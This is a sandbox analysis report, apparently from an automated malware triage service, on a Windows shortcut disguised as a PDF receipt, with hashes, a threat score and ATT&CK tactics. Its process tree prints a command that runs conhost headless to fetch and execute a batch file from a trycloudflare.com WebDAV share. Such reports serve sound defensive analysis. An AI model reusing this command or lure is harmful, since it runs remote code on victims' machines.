1541fe644fcb6221c7b3f6e850d8382490bd9c52b340772b3d07d8a5cd91d454

Analysis

max time kernel
144s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
14/08/2024, 16:31

Target

E_RECEIPT_630937438282828_pdf.lnk
Size

1KB
MD5

5474a826c8d50b21be38135bbb8c811d
SHA1

53b1d4e2268c9b7e775b613008dea845a5805322
SHA256

1541fe644fcb6221c7b3f6e850d8382490bd9c52b340772b3d07d8a5cd91d454
SHA512

f77bd6b1103571523aaa42da215577c7c54dd9322e9ee2ed53d64a6e10aab1ab7ecf5fddc7d8ff0e9620f0d40a112fcee7fe7ad71fc28fd9863b082026b47e00

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4604 wrote to memory of 4244	4604	cmd.exe	85
PID 4604 wrote to memory of 4244	4604	cmd.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\E_RECEIPT_630937438282828_pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:4604
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" --headless \\fitting-born-bm-po.trycloudflare.com@SSL\DavWWWRoot\new.bat
  2⤵
  PID:4244

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact